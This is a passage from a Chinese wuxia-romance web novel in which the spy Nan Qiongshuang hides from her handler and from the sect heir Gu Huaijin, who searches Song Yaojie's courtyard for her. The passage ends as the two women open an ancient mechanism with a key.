宋瑶洁:“什么叫留给自己?” 南琼霜无语至极盯了她半晌,仿佛看傻子一般,良久:“你说呢?” 她在极乐堂内受训时,堂内特意培训过如何选取初夜的时机、用何等技巧献上初夜。对于初夜何等重要、男人何等看重、巧用初夜如何事半功倍,教引嬷嬷不厌其烦,事无巨细,讲了又讲。 与她搭档的雾刀,对于她这一课,期待无比,简直比她自己还要紧张。 回去,她就破了自己的身。 雾刀听说之后,差点一口血呕死。 那天,她冷眼看着雾刀猴子一般暴跳如雷面红耳赤抓耳挠腮上蹿下跳,也是轻蔑又嫌弃地问:“你至于吗?” 雾刀:“南琼霜,你知道你在做什么吗?!你这个样子,哪个男的会要你?!” 她笑了一声,“男人若不爱,不会因为贞洁就爱。若爱,没有贞洁也爱。至于我,别说这两滴处子血,就算我将他们碾到地下踩,也总有法子,叫他们爱我。” 雾刀那时怒得笑了,说不出话来。 她道:“话放在这,你信不信?” 后来的事情,众人也都瞧见了。 她是极乐堂内最风光得意的翘楚,手到擒来的魁首。 宋瑶洁追问:“你什么意思?” 南琼霜白她一眼:“你是要我展开讲讲?” 宋瑶洁:…… 宋瑶洁默了一瞬,这话题简直让她惶然,她决心转个话题,道,“虽然如此,这些日子,我也不能放你去见顾怀瑾。谁知道你会不会同他说什么?” 南琼霜眉头皱了一瞬,笑了,“我本也没想回去见他。” 第80章 “没想回去见他?”宋瑶洁拧了眉。 南琼霜只是垂下眼啜着茶,将茶叶吹到一旁。 “你不爱他?” 南琼霜笑了:“羡慕吗?” 宋瑶洁的话哽了一瞬,拳头在桌上锤了一下,几乎有点恼怒。 南琼霜:“好不容易叫我发现了阴阳钥的踪迹,我不守在这里看着你,如何安心。直到你打开九曜逆轮、把阴阳钥交到我手上,我都不会离开这里一步,你别想跑。” 宋瑶洁白她一眼:“究竟是我监视你,还是你监视我。” 南琼霜挑挑眉,无所谓笑着:“你今日想借衡黄的刀杀我,我留在这里看着你,怎么了?” 宋瑶洁冷笑一声:“你全看出来了。” 南琼霜的手指慢悠悠搓着杯缘:“还特意放出了假消息呢。说是星辰阁前有异动,把顾怀瑾给我引走了。结果,你本人就跟在我们所有人身后。怎么?想看看衡黄会不会打死我?” 宋瑶洁耸肩,毫无愧疚之意:“既然是山上细作,我此举并没有什么问题。” 南琼霜嗤笑:“还真是会挑人。衡山派那个衡黄,也真是……”她想委婉些,斟酌半晌,吐出一个字:“……蠢。” 宋瑶洁:“衡小姐不是蠢。衡山派自上而下,向来是那个作风,走的是亦正亦邪的路子,对外也从不以正派自诩。整个门派,不喜动刀动枪,尤擅毒镖暗器,喜欢暗处取胜。江湖上的,没人愿意同衡山对着干。” “衡小姐是被家里宠爱太过,养成了喜欢明面上吵闹的性格。其实,她那性子,直来直去,在衡山派内已经算好的。若论乖张偏激,她那爹爹衡掌门的性子才是真古怪,过去惹出的事,也远比衡小姐今日骇人听闻得多。” “衡掌门年近五十才得了这么一个独生爱女,含在嘴里怕化了。前两次,李玄白和顾怀瑾为你出气,将她打伤,衡掌门拿他们两个无法,已经几次三番要求慧德杀你。这次,便是当真杀了你,慧德也必将此事大事化小,拦截下来,那可是他的母家。你以为顾怀瑾爱你,又能如何?” 最后一句话,南琼霜听了,只是淡淡一笑,垂下眼,“原来如此。我真当她傻呢,来来回回地不长记性。” “以衡山派的威名和衡掌门的脾气,那不是衡小姐不长记性,是衡掌门给天山面子。” 宋瑶洁平静无波,啜了口茶。 南琼霜:“不过,眼下慧德死了。山上主事的,往后便是顾怀瑾。” “那又如何?那可是衡山。”宋瑶洁笑出了声,“从前,衡掌门行事太过诡谲奇异,惹得无极宫不满,两边下了战帖。最后,衡山派不知用了什么法子,操控了山上数以万计的毒蛇,将整个无极宫团团围住,无极宫一夜灭了门。” “自此,江湖上的,没有一个会真想同衡山派对上。顾怀瑾或许爱你,但他是最识大体的一个人,我同他相识十余年,他的性子我了解。” 南琼霜听了,也不知道心里是什么感觉,手腕一翻,才瞧见手腕内侧,一个微紫的痕迹。 那是有天夜里,顾怀瑾吻出来的。 她垂下眼一哂,用袖子将那痕迹盖住了。 宋瑶洁继续道:“他那个人,为了门派,是四个字,万死不辞。即便衡小姐今日要杀的是他,他也不会有二话。何况是为一个女人?” 南琼霜笑,“我知道他识大体,也从没想过他会为此追究衡黄。我从来不当自己有多重要。” “那么,你倒还算有自知之明。”宋瑶洁最后将茶饮尽,站起了身,朝她颔首: “该说的话,已说完了。既然我们说好……”说好什么,她心里仍过不了那道坎,咽下了,“等到开启九曜逆轮之日,我会将阴阳钥交给你。” “那么,当日,我会告诉你如何下山。”南琼霜笑,“就这么说定了。” 宋瑶洁迈开几步,走到门口,却又停下,转身回来道:“九曜逆轮极其危险,你依然要留在山上?” 还担心上我了,南琼霜心里道。 “我不怕。”她换了个舒服的坐姿,笑道,“我有法子。” 余下的日子,她就在漱玉斋内静养。 宋瑶洁只说不许她回去见顾怀瑾,但并未限制她太多,大约是清楚她在山上原本也没什么地方可去,又是细作,放着她不管,她也不会大摇大摆地出门。 她确实不会大摇大摆地出门。 决定留在漱玉斋,除了想盯着宋瑶洁那只阴阳钥,她还有另外一个打算。 躲着雾刀。 只要雾刀不在,等到这身伤养好,她就可以直接从出山密道出山,甚至,连阴阳钥的事,她都可以直接放手不管。 雾刀这人,极擅隐匿潜伏,他若想,可以跟踪山上的任何一个。他若真这么做,她被雾刀翻出来,只是时间问题。 但是雾刀,懒。 他有这种本事,但绝不会这么做。 以她对雾刀的了解,眼下,他大约正蹲在顾怀瑾身边,等着她主动出现,自投罗网。 所以,只要避开顾怀瑾,雾刀,就绝对找不到她。 南琼霜坐在漱玉斋院落中的石桌旁,头上树叶簌簌被风吹动,她手中拿着一卷佛经,心不在焉地翻页。 月亮出岫,山风微凉。 宋瑶洁坐在她对面,手里钩着毛线——她的爱好竟然是钩毛线,“这些日子,我还得感谢你呢。” 南琼霜捻了下自己的耳坠,“怎么说?” 宋瑶洁:“顾怀瑾发了疯似的找你,山上快被他翻了个底朝天。山内长老见了他,个个都头痛,最开始骂他骂得狗血淋头,他一个字也听不进去,反而命令长老们协同搜山。长老们哪个愿意,后来全躲着他,能闭关的都闭关,暂时不能的,也都不敢说话,悄悄猫着。” 南琼霜笑:“所以,慧德突然闭了关,山上也没人深究?” 宋瑶洁抬眼一笑,“正是。” 南琼霜缓缓摇头,垂下眼看着经书:“何至于弄得这样鸡飞狗跳的,不过是男女情爱。” 宋瑶洁笑着:“你怎么说的这么容易?他一个人崩溃,你一点也不心疼?” 南琼霜捏着一页书,将翻未翻,垂着长睫,许久未动。 他在她眼前的时候,那个样子,有时候她也心疼。 但是见不着,就算了。 他甚至不会为她去找衡山派讨要说法,她有什么好心疼的? 南琼霜忽然看着她:“你到底在那钩什么呢?我记得你不是不善女红?钩的那个形状,手套不似手套,云肩不似云肩……” 宋瑶洁将手中钩了一半的长条状的东西得意展开,嘻嘻一笑: “小衣服。” 她笑得竟然有点俏皮,南琼霜一时不适应,“……什么小衣服,给谁?” 宋瑶洁俯下身子,口里一阵嘬嘬嘬,忽地自花影中间窜出一条雪白的四足残影,踏上了宋瑶洁的大腿。 一只狸奴。 “自然是给我们白糖呀。哪里来的糖糖这么可爱?谁家糖糖这么可爱?给糖糖钩的小衣服糖糖喜不喜欢?” 南琼霜是连鬼也不怕的人,这时候,一阵胆寒。 祁竹忽然两三步小跑过来:“师姐,浮光谷入口侍卫传来消息,说少掌门不顾阻拦,往这边来了。” “顾怀瑾?”南琼霜一惊,站起身来。 圆月门外暂时还没有人影,但一排侍卫已经行礼,齐声道:“见过少掌门。” 那圆月门只是个门洞,没有门板,只要人走到门前,一眼便知里面的情形。 宋瑶洁忙给她使了个眼色,示意她躲到屋内。 南琼霜提着裙摆就往回廊中跑。 若被顾怀瑾发现她在这里,不仅没法解释她为何在这,为何不回去,还会直接被雾刀发现。 若是雾刀发现她早已脱险,却故意不同他联系,她这条命可就悬之又悬了。 她奔入回廊,廊柱的阴影一根一根投在她的路上,转过一个弯,月色下,前头是漱玉斋的后花园。 熟悉的声音响起来:“师姐。” 那个一贯在她耳边唤“皎皎”的声音。 南琼霜顿时止住脚步。 似乎确是好几日没见了,也好几日没听他在耳边说爱,她将袖口不自觉捏紧了,躲在回廊一根柱子后。 顾怀瑾:“师姐眼下可有空?” 连客套寒暄都省去了。 宋瑶洁放下手里的毛线,站起来:“深更半夜的,来我这里,是怎么了?” 顾怀瑾笑了一下:“师姐不是不知道。容我搜一下院子,我便回去。” “搜什么院子,搜到我头上来了?你那个女人,若是平安无虞,不去找你,会来找我?” 顾怀瑾:“只是搜一下,劳烦师姐配合。” 宋瑶洁冷笑一声,“你知道的,我最讨厌外人进我的院子,动我的东西,弄脏我的地方。你深更半夜的不睡觉,跑到我这里来疑神疑鬼,你不睡觉别人还要睡!为了一个女人,你究竟还要荒唐到什么地步,让阖山陪你一起遭罪,是否太烦人、太自私了?!” 顾怀瑾白着一张脸,任她骂,不说话。 南琼霜躲在柱子后,略略喘了口气。 幸好,宋瑶洁是个疾言厉色言辞刻薄的主,说话是一点不留情面,或许她当真能将顾怀瑾骂回去。 一道声音,缓缓从她耳边升了起来。 “南琼霜?” 蛇一般的音调,南琼霜浑身汗毛瞬间倒竖。 雾刀在这。 她屏住呼吸——雾刀可以分辨整个院子里人的呼吸,她小心地,拢住衣衫,连布料摩挲的声音都不敢有,缓缓在柱子旁蹲了下来。 雾刀笑着:“南琼霜。别藏了,我知道你在这。” 南琼霜憋着气,指甲几乎掐进肉里,因为屏息,身子晕飘飘的。 雾刀:“哎,我都看见你了。还躲什么啊,这么多年的……老朋友了。” 南琼霜心脏跳得仿佛击鼓,砰砰砰砰,用手捂住口鼻,四下飞快瞥着。 没有看到他的影子。 不过,若是躲在院子里,说不准雾刀一个轻功,就从空中看见了她,那家伙的眼睛跟鹰一样。 但转念一想,眼下她一身白衣裳,在月色里贸然移动,恐怕一瞬间,就要被他发现了。 她一时为难。 雾刀忽然搔着头发——她听见了他搔头发的声音,道:“啧,真他妈不在这啊?跟了多少天了都。到底哪去了。” 南琼霜憋气憋得太阳穴直跳,悄悄地,逸出一丝鼻息,换了一点气。 院子中央,顾怀瑾垂着眼,长睫兜着月色,静静看着宋瑶洁坐的石凳对面,桌上那一卷,翻开一半的佛经。 他沉默着将那卷佛经拿了起来。 宋瑶洁:“……我原本在这里看佛经,看到一半,想钩毛线,就将那书推去了另一边。” 顾怀瑾面色如常看着翻开的那一页,手指在页边捻了捻。 阖上眼,语气温柔:“师姐,我还没问,怎么就急着解释了。” 他那语气,轻慢阴郁,南琼霜最是熟悉。 顾怀瑾笑起来:“何况,这书的方向也不对。这里一定坐过什么人,师姐别骗我了。” 他将那经书凑到鼻尖前,沿着书页边缘,陶醉一般,细细嗅起来: “还有……有一点,她的味道。” 味道?! 宋瑶洁一时不知道他是疯了,还是痴了,人家不过是看了会书…… 电光石火间,宋瑶洁突然想到。 方才,她捏着那一页,不知道在想什么,久久没有翻过去。 顾怀瑾闭上眼,似乎是在那书页边缘吻了一下:“师姐,皎皎呢。” 宋瑶洁这时才发现,相伴十年,她简直从未认识过他,这样走火入魔情执成痴的样子,简直如疯子一般,哪里还有三个月前光风霁月、从容自若的样子。 少年人第一次动心,或许会狂热些,这她是知道的,可是到了这个地步,是否太过分了? 宋瑶洁斟酌半晌,心里唏嘘又震惊,声音不大自然:“你别到我这里来胡闹。你那个女人礼佛读经?” 顾怀瑾怔了一下:“她确实不读。”他抬起头来,目光往通往后花园的木回廊中扫,“不过,我总觉得……” 宋瑶洁:“觉得什么?” 顾怀瑾将字咬得清楚:“她在这里。” 雾刀咯咯笑起来:“好嘛,跟着这个男人,可真是跟对了。” 南琼霜仿佛被鬼在肩颈幽幽吹了一口气,从尾椎骨凉到天灵盖,猛吸了一口气屏住。 雾刀:“来找你了喔,霜霜。” 南琼霜手捂住口鼻,忍得在自己手上咬了下去。 宋瑶洁嗤笑:“你少发疯了,我这里会藏你的女人?为什么?我跟你一样,魂被勾走了?你说她在这,我可没见着。要真在这,那就是已经丧了命,孤魂野鬼的来了我这……” 顾怀瑾倏地抬起眼来盯她。 那眼神,看得宋瑶洁霎时遍体生寒,吞吞吐吐,后面的话,噎进喉咙。 雾刀:“啊?不会真死了吧?这男人也真是邪了门了。” 顾怀瑾看着后花园的方向:“皎皎。” 喜鹊在枝头跳跃,月亮底下,鸣啼几声。 他道:“皎皎,快出来,回去了。” 南琼霜屏住呼吸,窒息感盘踞在胸口,不至于死,却叫她难受。 顾怀瑾:“我很想你,为什么躲着我。” 他站在夜色里,明明身形不算单薄,可是竟然脆弱得如一片白瓷、一张纸,仿佛山风一吹,人就倒了。 南琼霜躲在阴影里,闭上了眼。 宋瑶洁笑:“情话你还是回自己房间,对着镜子说吧。我这里可没有你要找的人。”方才被他用眼神威慑,她略不甘,故意道,“除非是已经死了。” 顾怀瑾平静道:“师姐。” 宋瑶洁不退不避,直视着他。 顾怀瑾:“不日我将召开山内大会,处死李玄白。大比前三甲,每年都是我们三个,师姐想只剩下我吗?” 宋瑶洁做梦也没想到他会如此说话,怒得结巴了,“你……” 顾怀瑾理也不理,拿上那卷经书,转身便走。瞬间,雪色 长衣的身影消失在圆月门外。 雾刀:“妈的,走的真快。走咯——” 南琼霜屏息屏得眼前漆黑,耳边嗡嗡,悄悄放松了一丝鼻息,吸了一口气。 宋瑶洁如释重负,朝她这边走来。 南琼霜赶忙打手势叫她别过来。 宋瑶洁轻描淡写地收回眼神,神色如常回了正房。 不知过了多久,雾刀冷笑一声:“倒霉透了,这人到底上哪去了。一天天的,跟着这个男的,也不是个事儿啊。” 她往回廊外一看,一点黑漆漆的身影,如被弹弓射上天的石子一般钻入空中,消失不见了。 她总算松了一口气,扶着廊柱站起身来。蹲得久了,血液瞬间涌上脑袋,她几乎趔趄了一下。 她就料到,雾刀这个狗东西,会诈她一着。 还“走咯”? ——猪脑子就是猪脑子。 她扑去裙摆上沾的灰,跟着入了正房。 正房内,祁竹将连枝灯一盏盏点燃,满墙烛火摇曳,宋瑶洁坐在里头的圈椅上,垂着眼,将上一回的残棋一颗颗收回棋盒内。 祁竹见她进来,奉上两盏茶,沉默着退了出去,将门关得严丝合缝。 宋瑶洁:“你在山上还有线人?” 南琼霜不答,径自坐在她对面的圈椅内,拈了一颗棋子,在手上把玩。 白糖趴在宋瑶洁膝上,软绵绵地唤。 南琼霜叹息:“你说,这人是不是疯了?” 宋瑶洁凉凉一哂,“不是你的手笔?这得问你。” 居然说什么味道,说得好像…… 说得好像,他循着她每一寸皮肤,细细嗅过了似的。 这也要讲,他干脆把他们所有的事都讲给宋瑶洁好了? 南琼霜简直无可奈何。最开始,道德洁癖的是他,动辄就脸红的也是他。怎么现在,这样没羞没臊,没皮没脸的。当真是给他逼坏了? 宋瑶洁笑着,在棋盘上落了一子:“你给他下什么迷魂药了?方才他那气色,你是没近看,简直吓人。面容青白,黑眼圈跟黑兜子似的围在眼下,眼里全是血丝。十年,我都没见过他那样。” 南琼霜沉默着,自己也不敢说心里是什么感觉,摸着棋子。 “你不也喜欢他么。”南琼霜才发现自己用了一个“也”字,大拇指指甲在食指上狠狠抠了一下,“你不心疼他,也不怨我?” 宋瑶洁啜了口茶:“大仇已报,我只想下山,看看江湖。你们既然是一对,我就不再横插一脚,这世界广阔得很。” 南琼霜只瞧得上不为情爱所困的女人,听了这话,心领神会一笑。 “不过,他对你那般,我简直疑心你救过他的命。”宋瑶洁纳闷无比地拿棋子在棋盘边哒哒哒地敲,“何至于此啊?” 南琼霜笑了,“他那个人,是否天生就恋旧又长情?” 宋瑶洁:“这倒是确实。他七岁那年,掌门送了他一支嵌玉髓雕花剑鞘。那是他第一支剑鞘,他用起来就不撒手,玉髓掉了,也不肯换,现在还一直用着。” “本就是那样一个长情的人,他会这样,又有什么奇怪。”南琼霜摇摇头,“何况,他此前似乎并未尝过男女之情?” “他年少时,偶尔下山历练,似乎同一些女子有过交集,但也没听说他对哪个特殊。” “那不就是了。天生专情的人,铁树第一次开花。”南琼霜揉着眉心,打了个哈欠,“何况,你们山上人,一直有一个问题。” 宋瑶洁“哒”地落下一子,“什么问题。” “他为人太好,好到山上众人理所当然,无人念他的好。”南琼霜懒道,“他那个性格,喜欢什么都忍下,人前一句怨言也无。实际上,如何不怨?” 宋瑶洁望着棋局,不说话。 “还有,这些日子,他跟山内闹得不可开交,人人都说,他是为了我。” 她笑了起来,“实际上,怎么会只是因为我?他想反,是他早就想反了,我不过是油上的一点火星。你们山上人,对他日日夜夜的忽视、辜负、打压,慧德一年一年的不公,才是今天满城风雨的缘由。我不过正好遂他的意。” 烛火跳动,映得宋瑶洁脸上阴影一跃一跃,许久,她道,“你倒是看得很清楚。” 南琼霜摊手,“他想反,借着我反了。他想要重视和偏爱,我也给。再加上……” “再加上什么?” 橙色的烛火在她眸子里摇曳闪烁,仿佛她有一双火焰般的魔瞳,毫不费力地诱惑飞蛾。 再加上,一点手段。 永远告诉他即将得到,但永远不给。 钓到快发疯的时候,大发仁慈地给他尝一口,旋即撤走,好声好气地拿话安慰。 终于逼得他失控,就容他进一步,转头就告诉他要下山,要诀别,要忘得一干二净。 等他底线一破再破,撕下君子面具强吻她,转头又跃下瀑布,生死未卜,连面也不给他见。 他会变成这个样子,也没什么好奇怪的。 南琼霜笑而不语,又落下一子。 宋瑶洁:“他今日想搜我的院子,没搜成,指不定什么时候还会再来。他如今真是同从前不一样了。” 烛火里,南琼霜笑意深深。 圆月门外,忽然又响起一阵齐整的声音:“少掌门。” 两人惊疑不定地往窗外一看,顾怀瑾身后随着一大群侍卫,走进院来,神色平静往院内扫了一眼: “给我搜。” 南琼霜和宋瑶洁对视一眼。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 80-90 第81章 宋瑶洁朝墙上那幅杨柳观音像看了一眼,给她使了个眼色,走到墙边,握住桌上那盆狐尾百合的一个花骨朵,一拧。 厚重的石门缓缓滑到一旁,露出里面黑黢黢的密室。 慧德仍在里面,放了几天,已经有些腐烂的臭气。血腥气仍未减,门一开,潮湿发霉的味道,混着尸臭与血气,扑面而来。 南琼霜最是喜洁,胃里一时翻江倒海。 宋瑶洁又匆匆使了个眼色。 她无法,提着裙摆踏进去,小心跨过地上慧德血泊里的手,站进黑暗里。 外面,侍卫登阶推门声此起彼伏,顾怀瑾幽幽道,“仔细查,一个角落也不准放过。” 宋瑶洁将那花骨朵又一拧,石门平滑合上,月色与烛光被黑暗吞没,一片令人窒息的黑。 密室里味道更加难闻,闭塞阴湿,发霉的气味加上残存于此的□□味,再加上血腥味与尸臭,简直熏得她头晕眼花。 她拿出帕子,捂住口鼻,无可奈何地听着外面动静。 这时,身在黑暗里,才发现门上有个发光的小孔。她凑过去,发现是一个小小的孔镜,外头,宋瑶洁对祁竹使了个眼色,祁竹颔首,在密室前摆了一只香炉。 宋瑶洁转身出去了,声音隐隐约约,“……你怎么又来了?三更半夜的,你没完了?!” 顾怀瑾声音很平静:“师姐,我仍是觉得她在这里。等我搜完,师姐就可以休息了。” 宋瑶洁与他争执不断:“你那个女人,我烦都烦透了!又怎会……” 顾怀瑾恍若未闻,径自跨过门槛,入了正房。 刚进了房,就直直盯着密室这堵墙,几乎与小孔中的她正面对上。 她心里突的一跳。 这人,现在仿佛有了一种本领,只要她在,千万人之中,他一眼就可以发现她。 他缓缓地,走近前,端详着这堵墙,看着墙上那幅观音像。 她悄悄从小孔旁挪开。 顾怀瑾看着墙边的香炉,对祁竹道:“我记得,师姐的香炉,并不是摆在此处的。” 祁竹低头,不敢说话。 “还有。”他两手撑在膝上,仔细看,“这香,似乎刚点上没多久。” 宋瑶洁跟着进来,站在他身侧,“我的地方,爱往哪摆就往哪摆,难道我摆个香炉,就藏了你的女人?” “师姐。”顾怀瑾仰头,额鼻轮廓依旧清隽疏雅,语气却怅然,“这里,我总闻着有些不好的气味。师姐方才又几次三番说她……”“已死”二字,无论如何 吐不出来,“莫非是提点我?” 他静静道,“师姐一早不喜欢皎皎,我知道的。就连她被衡黄所害,也是受了师姐的挑拨。” 他撩摆,阴差阳错坐在她方才坐过的圈椅里,“眼下,我太忙,还没工夫惩治师姐,因而师姐还能在这里,有丫鬟使,有院子住,像模像样,正颜厉色。” 宋瑶洁此生没见过顾怀瑾这一面,刻薄得从容坦然,她一时难以置信。 “不论如何,今日我来,要的就是一个答案。便是人被师姐绑了,抑或……”顿了一下,“不亲眼见到,我也决不罢休。” 密室前有尸臭,宋瑶洁听出他误会了什么,怕得颤抖起来,如今——如今这可不是能误会的,如果他真以为她杀了那女人,今天她非偿命不可。 她结巴了:“没有,这件事,绝对没有。你说我此前不喜她,针,针对她,都罢了,但这件事,绝对没有。” 顾怀瑾淡淡道:“宋瑶洁,开门。” 垂眸,拈起棋盒里一颗白子,夹在指间摩挲着。 却忽然怔住了。 棋盘上,是双方对阵。 宋瑶洁站不稳,两腿一软,跪在地上。 她起不来,话却没软,马上就可以下山,绝不容此时功亏一篑,“我不知道你在说什么,怀瑾。” 他将那颗白子在鼻尖底下细嗅,“这么多年,宋瑶洁,你当唤我少掌门。” 忽然,眉头又一皱。 宋瑶洁跪在地上,筛糠一样哆嗦,当着一屋侍卫,心高气傲的人,怕得落了两颗泪。 “此事当真与我无关,还请少,少掌门明察。” 顾怀瑾不语,月色静悄悄的,窗下虫鸣啾啾。 良久,他依旧没说话。 宋瑶洁万念俱灰,手在地上,渐渐攥成一个拳头。 他从前那样心软和善,怎么如今,这样阴晴不定。 不说话,是在想将她打入哪个牢吗?还是先上涟雷台? 她明明已经走到这一步,大仇得报,只待一个晴天,就能放火烧山—— 顾怀瑾忽然开口:“罢。”将那枚棋子丢入棋盒,仿佛浑身力气都泄了一般,“师姐出去,都出去。我跟她说会话。” 宋瑶洁抬头,“她”? 南琼霜靠在密室墙上,心里咯噔一下。 雾刀自言自语:“这男的是不是疯了。我都看了一圈了,人也不在啊。真是信了他的鬼话。” 宋瑶洁不解,但顺从,一屋侍卫侍仆沉默着退去,关了门,月色从雕花窗棂中无动于衷地筛落下来,映得屋里如狱一般,黑白分明。 屋里一时静悄悄的。 顾怀瑾站起了身,捏着那枚小棋子,缓缓走到那幅观音像前。 “皎皎。” 南琼霜心里一颤,闭了闭眼。 “你在这里吗?” 他垂着眼:“如果你在,为什么不跟我说话。” “皎皎。”他摸着那幅画,仔仔细细摩挲着画后面的墙缝,果然摸到了那扇石门。 他将手搁在石门上,仿佛那样,能同她十指相扣似的。 “我很想你。这些日子,心里太急,蚰蜒蛊的毒又复发了。”他揪着自己胸口的衣襟,额头贴在石门上,一片冰凉,“似乎心脏也不大好。屈术先生来看过,说这样下去,以后是长久的心疾。” 南琼霜靠在石门上,深深呼吸。 “皎皎,为什么不肯见我?我哪里惹你生气了吗?如果上次我说那些话……你不愿意,我们可以不做的。” 跟那些话有什么关系,傻子。 “我知道,你一向不大喜欢我。跟你说这些,也没有别的,不过要劝你,不要学我,受了伤须得处理,不必为了避我不见,拖着自己的伤。” “从那瀑布上跳下去,伤得如何?怎样侥幸活下来的?有没有遇见山上野兽?自己在山上过了多少天?有没有害怕?我那晚,梦见你落入水中,筋疲力竭,一旁来了浮木,都没力气攀了,吓得要命……” 他怎么会知道。 “棋盘上是两人对弈,佛经也是两人对坐着放的,书页和棋子都有些你的气息,我知道你在这里。” “皎皎……”他叹息着,声音隔着石门,闷闷地传过来,仿佛从前她梦魇,顾怀瑾隔着梦境唤她那般,遥远,但是想救她。 她怎么会得救得了。 “皎皎,你真的不喜欢我,我可以放手。下山也可以,不服忘忧散也可以。”他额头贴在石门上,像从前他们夜里抵着额头熟睡一般,“如果你真的不愿……” 他忽然呕了一声,噗的一大口,什么东西,溅在墙上。 南琼霜惶然从小孔看出去,耳朵里雾刀咯咯地笑:“蠢吧,这男的。” 顾怀瑾咬着拳头,将涌上来的血沫硬咽下去,唇边鲜血拉出一条直线,挂在下巴上。 “如果你真的不愿……至少也给我,报个平安吧。” 南琼霜几乎站不稳,靠着肮脏的密室墙缓缓滑着蹲下去,脑子里嗡嗡作响。 雾刀大笑着,恶鬼一般。 他不明白,她下山,他们永远不再见,他才能得救。 他们两、个,都能得救。 如果他能明白,多好。 南琼霜抱着头,黑暗里,也不知道自己跟黑暗还有没有分界,似乎身上已经被黑暗吞没同化,她找不到通往光明的路,再不愿,也已经是黑暗本身。 顾怀瑾说完,默了片刻,转身出去。 宋瑶洁战战兢兢跪在正房外,听见开门声,将头更低了些。 顾怀瑾:“这些日子,劳烦师姐替她治伤。” 宋瑶洁惊恐抬头,他知道了她在这,但没有逼她出来? “衡山派太过放肆,这次我绝不会轻饶了那衡黄。不过,胆敢如此猖狂,乃是因为慧德的缘故。” “因而,先从山内大清洗开始。” 他抬步,白衣从门槛上拂过,仰头望着月亮: “明日,我会召开山内大会,将慧德此前所做所为,桩桩件件,清晰列明。查明他这些年与衡山派的往来,这些年的营私结党、徇私枉法,提送大会受审。定罪之后,该送哪个牢,送哪个牢。” “至于衡山派,会以杀害少掌门之妻之罪,下战书。还望师姐明日将慧德请出来。” 宋瑶洁一时失了声音。 从前,这种时候,她非声嘶力竭大骂他不可,如今,竟然是连出声都不敢。 他走出两步,忽然又停住,回身道,“对了,师姐。” 月色底下,宋瑶洁跪在地上仰望他,他逆着光,一身白衣罩在阴影里,仿佛一身玄色: “这种季节,她夜里也会冷。” “给她多盖一条被子吧。” 那天夜里,南琼霜做了一个梦。 入夜,星星挂在天边,她不知从多高的地方跌进林子里,砸得枝条叶子七零八落,她周身是乱七八糟的枝叶,被荆棘枝条刮得遍体鳞伤。 奄奄一息喘着气,进气少,出气多。 骨头断了,但是不痛,喉咙里滚烫的腥甜的东西控制不住地上涌,她唇一张,哇的一声,衣领兜着一大泡血,缓缓洇开。 大概是要死了吧。 山风吹过,树枝上黄色的迎春花,迎着星星,微微拂动。 她没有眼泪,闭上眼睛。 忽然却感觉,有人从她身下的枝叶里伸出胳膊拥抱她,两只胳膊从她腋下穿过,在她胸口合握,压着她的肩,把她按进怀里。 宽阔的怀抱。宽阔的、熟悉的、安稳的、温暖的、安全的,怀抱。 顾怀瑾的下巴,磨蹭着她发顶,声音哄孩子一样: “皎皎,别担心,等我一会。” “我不会把你一个人留在这里。” 她仓惶大睁开眼睛,入目,不是暮雪院内她的白莲纹床帐,是漱玉斋内的素色帷帐。 她坐起身来。 “不会把我留在这里?” 留在哪。天山,还是往生门。 我是不能留在天山上的。 至于往生门。你会帮我……摆脱往生门? 只要我摆脱雾刀,从出山密道离山,就能摆脱往生门。 往生门的势力,你不清楚,我如何能把你拖下水。 她缓缓地捂住脸,身上冷得厉害。 宋瑶洁这时连门也没敲,推门进来: “我今日就会开启九曜逆轮。” 南琼霜怔了一瞬,忽然听见外头轰隆一声雷鸣。风过,吹得树叶哗啦一片,从宋瑶洁身后敞开的门往外看去,天色阴沉得可怕,仿佛穹顶快掉下来了似的。 “今天?”她的伤确实已可以勉强离山,但最好还是修养些日子。不过,若九曜逆轮开启,她最好即刻离山。 她喃喃道,“快下雨了。” “没办法。”宋瑶洁道,“昨夜,顾怀瑾说了要查慧德,要请他出关。我等不了了,必须马上下山。至于烧不烧得起来,听天由命吧。” 南琼霜 默然。 从理智来讲,这确实是最好的方法。 立即下手,以免夜长梦多。 她道:“那你去吧。” 宋瑶洁:“我们同去。打开九曜逆轮之后,我不可能再折返回来问你路,或者给你送钥匙。” 同宋瑶洁讨要阴阳钥,只是她留的后手。 她拿不准是否会一直不被雾刀发现,因而做两手准备。伤养好后,没被发现就下山,被发现就拿阴阳钥。 如今,雾刀却一直没有寻到她。 阴阳钥是没有必要了。 她会直接下山。 她缓缓披好了外衣,坐在妆镜前梳头发:“好,等我片刻。” 宋瑶洁匆匆出门:“我去收拾行囊,你也快些。” 妆镜里的人,与从前不大一样了。她记得,她刚要上天山那时,坐在烛火里,沾沾自喜地同雾刀显摆七乌香木做的密齿梳,说自己十拿九稳。 她倒也确实是十拿九稳,这话没什么错。 可是,如今,镜子里的人,眼尾带一点儿红,眼神也不似从前锋锐清冷了。 带了些水色。 她没想到,一个顾怀瑾,会动摇她这许多。 为什么?因为他待她好吗?因为她从未被人珍视过? 可是,你想想啊,顾怀瑾甚至不知道世上有南琼霜。 南琼霜看着宋瑶洁给她备的木梳,浅浅笑了。 这是最好的结局吧。 她走,他活,他们再也不见。 只是,最后一面是什么时候来着? 是保和堂外的回廊里,她拿李玄白逗他。 早知道那是最后一面…… 早知道那是最后一面,她不该那样欺负他。 她忽然想起来昨夜,顾怀瑾呕在那幅观音像上的一口血,隔着石门,仿佛烫在她身上。 她逼他太过,把好好的人折磨坏了。 他是那么好的……一个好人。 明知道她可能是细作、还用回元丹来救她,因为当时还不深的爱、就肯破山规相救,为她生挨了七十鞭、却连一个爱字也不敢吐的人。 她把他逼得生了病。 唯一一个心疼她、珍爱她、会不顾代价救她于水火的人,她竟然这样对他。 她落下两颗泪来。 如果,早知道那是最后一面…… 早知道那是最后一面,她会好好想想对他说什么。 或许要告诉他,好好爱自己。 爱自己。 南琼霜生来就懂的道理,顾怀瑾至今不懂。 她将那木梳轻轻放下,给自己别了一支簪子。 对着镜子,最后静静看了一刻。 宋瑶洁来敲门:“我好了。你收拾好了吗?” 镜子里的人,缓缓眨了一下眼:“好了。” “走吧。” * 九曜逆轮下。 宋瑶洁将那色如赤玉、状似尾鱼的阴阳钥放在凹槽内,等了片刻。 阴阳钥自动卡进凹槽深处,旋转半寸。 南琼霜与宋瑶洁对视一眼。 不久,地底深处传来悠远的、沉重的轰鸣,一声叠着一声,仿佛巨人的脚步。 周围几棵通天巨树,倏地自根部窜起数根发光纹路,光芒钻向每一片树叶尖尖、枝条末尾,忽然,叶子呼地燃起来。 